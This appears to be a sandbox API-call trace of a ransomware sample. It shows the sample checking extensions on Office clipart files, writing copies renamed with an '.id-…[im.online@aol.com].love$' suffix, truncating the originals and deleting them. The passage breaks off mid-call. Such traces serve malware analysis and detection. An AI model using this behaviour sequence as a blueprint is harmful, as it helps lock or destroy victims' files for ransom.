lstrlenW (lpString=".xls") returned 4 [0271.402] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0271.402] lstrlenW (lpString=".xlsx") returned 5 [0271.402] lstrcmpiW (lpString1=".xlsx", lpString2="5.GIF") returned -1 [0271.402] lstrlenW (lpString=".ppt") returned 4 [0271.402] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0271.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0271.402] lstrlenW (lpString=".zip") returned 4 [0271.402] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0271.402] lstrlenW (lpString=".rar") returned 4 [0271.403] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0271.403] lstrlenW (lpString=".bz2") returned 4 [0271.403] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0271.403] lstrlenW (lpString=".7z") returned 3 [0271.403] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0271.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0271.403] lstrlenW (lpString=".dbf") returned 4 [0271.403] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0271.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0271.403] lstrlenW (lpString=".1cd") returned 4 [0271.403] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0271.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0271.403] lstrlenW (lpString=".jpg") returned 4 [0271.403] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0271.404] lstrcmpiW (lpString1=".GIF", lpString2=".love$") returned -1 [0271.404] lstrlenW (lpString="J0099198.GIF") returned 12 [0271.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0271.405] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=5259) returned 1 [0271.405] CloseHandle (hObject=0x488) returned 1 [0271.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif")) returned 0x220 [0271.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0271.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0271.407] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.407] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0271.408] GetLastError () returned 0x0 [0271.409] ReadFile (in: hFile=0x488, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x148b, lpOverlapped=0x0) returned 1 [0271.416] WriteFile (in: hFile=0x534, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x1490, lpOverlapped=0x0) returned 1 [0271.419] ReadFile (in: hFile=0x488, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0271.419] WriteFile (in: hFile=0x534, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0271.419] SetEndOfFile (hFile=0x534) returned 1 [0271.419] CloseHandle (hObject=0x534) returned 1 [0271.419] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.419] SetEndOfFile (hFile=0x488) returned 1 [0271.744] CloseHandle (hObject=0x488) returned 1 [0271.744] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0271.745] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif")) returned 1 [0271.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0271.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0271.747] lstrlenW (lpString=".doc") returned 4 [0271.747] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0271.747] lstrlenW (lpString=".docx") returned 5 [0271.747] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1 [0271.747] lstrlenW (lpString=".pdf") returned 4 [0271.747] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0271.747] lstrlenW (lpString=".xls") returned 4 [0271.747] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0271.747] lstrlenW (lpString=".xlsx") returned 5 [0271.747] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1 [0271.747] lstrlenW (lpString=".ppt") returned 4 [0271.747] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0271.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0271.747] lstrlenW (lpString=".zip") returned 4 [0271.747] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0271.747] lstrlenW (lpString=".rar") returned 4 [0271.747] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0271.747] lstrlenW (lpString=".bz2") returned 4 [0271.747] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0271.747] lstrlenW (lpString=".7z") returned 3 [0271.747] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0271.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0271.747] lstrlenW (lpString=".dbf") returned 4 [0271.748] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0271.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0271.748] lstrlenW (lpString=".1cd") returned 4 [0271.748] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0271.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0271.748] lstrlenW (lpString=".jpg") returned 4 [0271.748] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0271.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0271.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0271.748] lstrlenW (lpString=".doc") returned 4 [0271.748] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0271.748] lstrlenW (lpString=".docx") returned 5 [0271.748] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1 [0271.748] lstrlenW (lpString=".pdf") returned 4 [0271.748] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0271.748] lstrlenW (lpString=".xls") returned 4 [0271.748] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0271.748] lstrlenW (lpString=".xlsx") returned 5 [0271.748] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1 [0271.748] lstrlenW (lpString=".ppt") returned 4 [0271.748] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0271.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0271.748] lstrlenW (lpString=".zip") returned 4 [0271.748] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0271.748] lstrlenW (lpString=".rar") returned 4 [0271.749] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0271.749] lstrlenW (lpString=".bz2") returned 4 [0271.749] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0271.749] lstrlenW (lpString=".7z") returned 3 [0271.749] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0271.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0271.749] lstrlenW (lpString=".dbf") returned 4 [0271.749] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0271.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0271.749] lstrlenW (lpString=".1cd") returned 4 [0271.749] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0271.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0271.749] lstrlenW (lpString=".jpg") returned 4 [0271.749] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0271.749] lstrcmpiW (lpString1=".GIF", lpString2=".love$") returned -1 [0271.749] lstrlenW (lpString="J0099203.GIF") returned 12 [0271.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0271.751] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=3904) returned 1 [0271.751] CloseHandle (hObject=0x488) returned 1 [0271.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif")) returned 0x220 [0271.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0271.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0271.752] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.752] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0271.754] GetLastError () returned 0x0 [0271.755] ReadFile (in: hFile=0x488, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0xf40, lpOverlapped=0x0) returned 1 [0271.760] WriteFile (in: hFile=0x484, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xf50, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xf50, lpOverlapped=0x0) returned 1 [0271.762] ReadFile (in: hFile=0x488, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0271.762] WriteFile (in: hFile=0x484, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0271.762] SetEndOfFile (hFile=0x484) returned 1 [0271.763] CloseHandle (hObject=0x484) returned 1 [0271.763] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.763] SetEndOfFile (hFile=0x488) returned 1 [0271.766] CloseHandle (hObject=0x488) returned 1 [0271.767] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0271.767] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif")) returned 1 [0271.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0271.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0271.769] lstrlenW (lpString=".doc") returned 4 [0271.769] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0271.769] lstrlenW (lpString=".docx") returned 5 [0271.769] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0271.769] lstrlenW (lpString=".pdf") returned 4 [0271.769] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0271.769] lstrlenW (lpString=".xls") returned 4 [0271.769] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0271.769] lstrlenW (lpString=".xlsx") returned 5 [0271.769] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1 [0271.769] lstrlenW (lpString=".ppt") returned 4 [0271.769] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0271.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0271.770] lstrlenW (lpString=".zip") returned 4 [0271.770] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0271.770] lstrlenW (lpString=".rar") returned 4 [0271.770] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0271.770] lstrlenW (lpString=".bz2") returned 4 [0271.770] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0271.770] lstrlenW (lpString=".7z") returned 3 [0271.770] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0271.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0271.770] lstrlenW (lpString=".dbf") returned 4 [0271.770] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0271.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0271.770] lstrlenW (lpString=".1cd") returned 4 [0271.770] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0271.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0271.770] lstrlenW (lpString=".jpg") returned 4 [0271.770] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0271.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0271.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0271.770] lstrlenW (lpString=".doc") returned 4 [0271.770] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0271.770] lstrlenW (lpString=".docx") returned 5 [0271.770] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0271.770] lstrlenW (lpString=".pdf") returned 4 [0271.770] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0271.771] lstrlenW (lpString=".xls") returned 4 [0271.771] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0271.771] lstrlenW (lpString=".xlsx") returned 5 [0271.771] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1 [0271.771] lstrlenW (lpString=".ppt") returned 4 [0271.771] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0271.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0271.771] lstrlenW (lpString=".zip") returned 4 [0271.771] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0271.771] lstrlenW (lpString=".rar") returned 4 [0271.771] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0271.771] lstrlenW (lpString=".bz2") returned 4 [0271.771] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0271.771] lstrlenW (lpString=".7z") returned 3 [0271.771] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0271.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0271.771] lstrlenW (lpString=".dbf") returned 4 [0271.771] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0271.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0271.771] lstrlenW (lpString=".1cd") returned 4 [0271.771] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0271.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0271.772] lstrlenW (lpString=".jpg") returned 4 [0271.772] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0271.772] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0271.772] lstrlenW (lpString="J0099204.WMF") returned 12 [0271.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0271.774] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=17854) returned 1 [0271.774] CloseHandle (hObject=0x488) returned 1 [0271.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf")) returned 0x220 [0271.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0271.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0271.775] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.775] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0271.777] GetLastError () returned 0x0 [0271.777] ReadFile (in: hFile=0x488, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x45be, lpOverlapped=0x0) returned 1 [0271.782] WriteFile (in: hFile=0x484, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x45c0, lpOverlapped=0x0) returned 1 [0271.783] ReadFile (in: hFile=0x488, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0271.784] WriteFile (in: hFile=0x484, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0271.784] SetEndOfFile (hFile=0x484) returned 1 [0271.785] CloseHandle (hObject=0x484) returned 1 [0271.785] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0271.785] SetEndOfFile (hFile=0x488) returned 1 [0271.983] CloseHandle (hObject=0x488) returned 1 [0271.984] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0271.984] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf")) returned 1 [0271.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0271.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0271.986] lstrlenW (lpString=".doc") returned 4 [0271.986] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.986] lstrlenW (lpString=".docx") returned 5 [0271.986] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0271.986] lstrlenW (lpString=".pdf") returned 4 [0271.987] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.987] lstrlenW (lpString=".xls") returned 4 [0271.987] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.987] lstrlenW (lpString=".xlsx") returned 5 [0271.987] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0271.987] lstrlenW (lpString=".ppt") returned 4 [0271.987] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0271.987] lstrlenW (lpString=".zip") returned 4 [0271.987] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.987] lstrlenW (lpString=".rar") returned 4 [0271.987] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.987] lstrlenW (lpString=".bz2") returned 4 [0271.987] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.987] lstrlenW (lpString=".7z") returned 3 [0271.987] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0271.987] lstrlenW (lpString=".dbf") returned 4 [0271.987] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0271.987] lstrlenW (lpString=".1cd") returned 4 [0271.987] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0271.987] lstrlenW (lpString=".jpg") returned 4 [0271.987] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0271.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0271.988] lstrlenW (lpString=".doc") returned 4 [0271.988] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.988] lstrlenW (lpString=".docx") returned 5 [0271.988] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0271.988] lstrlenW (lpString=".pdf") returned 4 [0271.988] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.988] lstrlenW (lpString=".xls") returned 4 [0271.988] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.988] lstrlenW (lpString=".xlsx") returned 5 [0271.988] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0271.988] lstrlenW (lpString=".ppt") returned 4 [0271.988] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0271.988] lstrlenW (lpString=".zip") returned 4 [0271.988] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.988] lstrlenW (lpString=".rar") returned 4 [0271.988] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.988] lstrlenW (lpString=".bz2") returned 4 [0271.988] lstrcmpiW 